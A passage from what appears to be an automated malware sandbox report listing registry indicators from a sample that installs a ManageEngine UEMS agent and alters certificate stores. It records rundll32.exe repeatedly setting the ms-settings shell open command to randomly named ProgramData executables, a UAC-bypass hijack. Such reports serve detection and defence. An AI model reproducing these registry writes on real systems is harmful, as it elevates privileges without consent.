\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcagentregister.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{35786D3C-B075-49B9-88DD-029876E11C01} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 0100000000000000d4da48b9a24add01 dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached dcagentregister.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust" dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcondemand.exe - Modifies registry class 51 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\Shell\open rundll32.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings MicrosoftEdge_X64_153.0.3157.719.exe Set value (str) \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/DJhdFBYCyRcANdzUsYZISAmCWGrZTOcX.Kyu/LHDMlOHUtuiBrsxHOUlUUppooiJxNQpD.zZh.exe" rundll32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B\DefaultFeature msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Language = "1033" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\Shell\open\command rundll32.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\Shell rundll32.exe Key deleted \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings rundll32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcagentservice.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\DeploymentFlags = "3" msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/etYgfdcQdipHuQHNiminIZNPxbsqNMlK.bwj/UGrdoEFRPcCDjBOebsJacybwBQhvJEdR.kHx.exe" rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\Shell\open\command\DelegateExecute rundll32.exe Key deleted \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\Shell\open rundll32.exe Key created \Registry\User\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\Shell\open\command rundll32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Transforms = "C:\\Windows\\Installer\\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\\UEMSAgent.mst" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcagentregister.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList dcagentservice.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcagentregister.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcconfig.exe Set value (str) \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/fdONliqLXgiEqllVQlxFbBLyBxaDNSLz.IQl/xjSpZLqyGlEUZETnWWNUPQpWhrWpjXej.oPN.exe" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings rundll32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\ProductName = "ManageEngine UEMS - Agent" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\PackageName = "UEMSAgent.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\RarSFX0\\" msiexec.exe Key deleted \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\Shell\open\command rundll32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\RarSFX0\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\PackageCode = "BB6CE9FF5416A1D4FAB31934650C173C" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333 msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/WVITZZkLcPEUyHcwcGAyVmbmiafYhImW.NHU/qwVpfHkYFmyaIAicytRukgJaeBAlLgSi.pGX.exe" rundll32.exe Key deleted \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\Shell rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/CWhEWEqFWMWfLMRlkdWbjAYEPruOLhaB.kzH/SwFpcVdiiUkqosIzfKXErpPDJdSUaNbj.kDc.exe" rundll32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Version = "184879683" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcconfig.exe - Modifies system certificate store 2 TTPs 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\Certificates dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\CTLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Software\Microsoft\SystemCertificates\FlightRoot dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5\Blob = 5900000001000000120000005200530041002f00530048004100310000007e000000010000000800000000c0032f2df8d6017f000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b06010505070301190000000100000010000000d8b5fb368468620275d142ffd2aade370300000001000000140000004eb6d578499b1ccf5f581ead56be3d9b6744a5e51d0000000100000010000000c6cbcafa17955c4cfd41eca0c654c3610b000000010000001200000056006500720069005300690067006e0000001400000001000000140000007fd365a7c2ddecbbf03009f34339fa02af3331336200000001000000200000009acfab7e43c8d880d06b262a94deeee4b4659989c3d0caf19baf6405e41ab7df0f0000000100000014000000e91e1e972b8f467ab4e0598fa92285387dee94c953000000010000006300000030613021060b6086480186f8450107170630123010060a2b0601040182373c0101030200c0301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703016800000001000000000000002000000001000000d7040000308204d3308203bba003020102021018dad19e267de8bb4a2158cdcc6b3b4a300d06092a864886f70d01010505003081ca310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303620566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79314530430603550403133c566572695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735301e170d3036313130383030303030305a170d3336303731363233353935395a3081ca310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303620566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79314530430603550403133c566572695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d20473530820122300d06092a864886f70d01010105000382010f003082010a0282010100af240808297a359e600caae74b3b4edc7cbc3c451cbb2be0fe2902f95708a364851527f5f1adc831895d22e82aaaa642b38ff8b955b7b1b74bb3fe8f7e0757ecef43db66621561cf600da4d8def8e0c362083d5413eb49ca59548526e52b8f1b9febf5a191c23349d843636a524bd28fe870514dd189697bc770f6b3dc1274db7b5d4b56d396bf1577a1b0f4a225f2af1c926718e5f40604ef90b9e400e4dd3ab519ff02baf43ceee08beb378becf4d7acf2f6f03dafdd759133191d1c40cb7424192193d914feac2a52c78fd50449e48d6347883c6983cbfe47bd2b7e4fc595ae0e9dd4d143c06773e314087ee53f9f73b8330acf5d3f3487968aee53e825150203010001a381b23081af300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106306d06082b0601050507010c0461305fa15da05b3059305730551609696d6167652f6769663021301f300706052b0e03021a04148fe5d31a86ac8d8e6bc3cf806ad448182c7b192e30251623687474703a2f2f6c6f676f2e766572697369676e2e636f6d2f76736c6f676f2e676966301d0603551d0e041604147fd365a7c2ddecbbf03009f34339fa02af333133300d06092a864886f70d0101050500038201010093244a305f62cfd81a982f3deadc992dbd77f6a5792238ecc4a7a07812ad620e457064c5e797662d98097e5fafd6cc2865f201aa081a47def9f97c925a0869200dd93e6d6e3c0d6ed8e606914018b9f8c1eddfdb41aae09620c9cd64153881c994eea284290b136f8edb0cdd2502dba48b1944d2417a05694a584f60ca7e826a0b02aa251739b5db7fe784652a958abd86de5e8116832d10ccdefda8822a6d281f0d0bc4e5e71a2619e1f4116f10b595fce7420532dbce9d515e28b69e85d35befa57d4540728eb70e6b0e06fb33354871b89d278bc4655f0d86769c447af6955cf65d320833a454b6183f685cf2424a853854835fd1e82cf2ac11d6a8ed636a dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\3679CA35668772304D30A5FB873B0FA77BB70D54 dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\Remote Desktop\CTLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\FlightRoot\Certificates dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5900000001000000120000005200530041002f00530048004100310000007a000000010000000c000000300a06082b06010505070309530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c05c0000000100000004000000000800000400000001000000100000003e455215095192e1b75d379fb187298a030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d0020005200310000000f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d190000000100000010000000a823b4a20180beb460cab955c24d7e21090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703087f000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates\2C85006A1A028BCC349DF23C474724C055FDE8B6 dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Software\Microsoft\SystemCertificates\Remote Desktop dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\Remote Desktop\Certificates dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\Remote Desktop\CRLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\FlightRoot\CTLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\7E04DE896A3E666D00E687D33FFAD93BE83D349E dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Software\Microsoft\SystemCertificates\ClientAuthIssuer dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Software\Microsoft\SystemCertificates\TrustedDevices dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872 dcagentregister.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Software\Microsoft\SystemCertificates\UserDS dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\MSIEHistoryJournal\CTLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419 dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\Certificates dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\3679CA35668772304D30A5FB873B0FA77BB70D54\Blob = 5900000001000000160000005200530041002f0053004800410032003500360000007f0000000100000016000000301406082b0601050507030306082b0601050507030153000000010000004200000030403021060b6086480186f8450107170630123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00400000001000000100000008eadb501aa4d81e48c1dd1e1140095190300000001000000140000003679ca35668772304d30a5fb873b0fa77bb70d541d0000000100000010000000439b4d52906df7a01771d729528723b3140000000100000014000000b677fa6948479f5312d5c2ea07327607d19707196200000001000000200000002399561127a57125de8cefea610ddf2fa078b5c8067f4e828290bfb860e84b3c0b000000010000006000000056006500720069005300690067006e00200055006e006900760065007200730061006c00200052006f006f0074002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f000000010000002000000017fe16f394ec70a5bb0c6784cab40b1e61025ae9d50ecaa0531d6b4d997bbc59190000000100000010000000ad6d6ff31b24013151f279e26a8c33245c000000010000000400000000080000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703087e000000010000000800000000c0032f2df8d6012000000001000000bd040000308204b9308203a1a0030201020210401ac46421b31321030ebbe4121ac51d300d06092a864886f70d01010b05003081bd310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303820566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79313830360603550403132f566572695369676e20556e6976657273616c20526f6f742043657274696669636174696f6e20417574686f72697479301e170d3038303430323030303030305a170d3337313230313233353935395a3081bd310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303820566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79313830360603550403132f566572695369676e20556e6976657273616c20526f6f742043657274696669636174696f6e20417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a0282010100c761375eb10134db62d7159bff585a8c2323d6608e91d79098837ae65819388cc5f6e56485b4a271fbedbdb9dacd4d00b4c82d73a5c76971951f393cb244079ce80efa4d4ac421df29618f32226182c5871f6e8c7c5f16205144d1704f57eae31ce3cc79ee58d80ec2b34593c02ce79a172b7b00377a413378e133e2f3101a7f872cbef6f5f742e2e5bf8762895f004bdfc5dde4754432413a1e716e69cb0b754608d1cad22b95d0cffbb9406b648c574dfc13117984ed5e54f6349f0801f3102506174adaf11d7a666b986066a4d9efd22e82f1f0ef09ea44c9156ae2036e33d3ac9f5500c7f6086a94b95fdce033f18460f95b2711b4fc16f2bb566a80258d0203010001a381b23081af300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106306d06082b0601050507010c0461305fa15da05b3059305730551609696d6167652f6769663021301f300706052b0e03021a04148fe5d31a86ac8d8e6bc3cf806ad448182c7b192e30251623687474703a2f2f6c6f676f2e766572697369676e2e636f6d2f76736c6f676f2e676966301d0603551d0e04160414b677fa6948479f5312d5c2ea07327607d1970719300d06092a864886f70d01010b050003820101004af8f8b003e62c677be4947763cc6e4cf97d0e0ddcc8b935b9704f63fa24fa6c838c479d3b63f39af976329591b177bcac9abeb1e43121c68195565a0eb1c2d4b1a659acf163cbb84c1d59904aef9016281f5aae10fb8150380c6cccf13dc3f563e3b3e321c92439e9fd156646f41b11d04d73a37d46f93deda85f62d4f13ff8e074572b189d81b4c428da9497a570ebac1dbe0711f0d5dbdde58cf0d532b083e657e28fbfbea1aabf3d1db5d438ead7b05c3a4f6a3f8fc0666c63aae9d9a416f481d195140e7dcd9534d9d28f7073817b9c7ebd9861d845879890c5eb8630c635bff0ffc35588834bef05920671f2b89893b7eccd8261f138e64f97982a5a8d dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872 dcconfig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SPC\CRLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Software\Microsoft\SystemCertificates\REQUEST dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\CRLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\CTLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CDD4EEAE6000AC7F40C3802C171E30148030C072 dcinventory.exe Key created 